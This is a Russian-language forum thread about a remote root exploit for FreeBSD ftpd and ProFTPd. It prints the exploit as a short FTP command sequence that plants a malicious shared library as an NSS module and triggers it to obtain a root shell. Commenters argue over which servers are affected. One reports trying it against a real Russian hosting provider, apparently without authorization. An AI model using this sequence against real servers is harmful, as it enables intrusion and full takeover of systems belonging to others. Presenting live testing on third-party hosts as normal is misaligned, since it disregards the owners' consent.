FreeBSD ftpd and ProFTPd on FreeBSD remote r00t exploit

Актуально только для FreeBSD или общая проблема?

только для FreeBSD

не проверял, фри нигде нет

не проверял, ftp нигде нет

по freebsd какой-то особенный proftpd ?

Exploit:

ftp <target>
mkdir etc
put /etc/nsswitch.conf etc/nsswitch.conf
mkdir lib
put beast.so.1.0 lib/nss_compat.so.1
quote site chmod 777 nonexistant
quote stat .
quit

<ROOT SHELL>

лол

freebsd какой-то особенный proftpd ?

Скорее всего да, там же ещё свои патчи накладывают, чтобы оно хотя бы компилялось

Чито-то не работает. Скрипт отрабатывает без ошибок - сшелла нету.

Тестировал на одном известном российском хостинг-провайдере, пальцем показывать не будем.

Подобный баг недавно пофиксили в UnixWare :) только там не chmod а ln был ...

pure-ftpd это не касается, надеюсь. на фре стоит использовать именно его.

Тоже что-то не работает... Proftpd

Для него ведь юзернейм нужен.
А значит не пригодится. :(

vsftpd рулит и педалит )

не понимаю людей, которые пользуются фтп, при наличии sftp.

А дырка да, гениально простая.

http://www.youtube.com/watch?v=10uedlgNEJA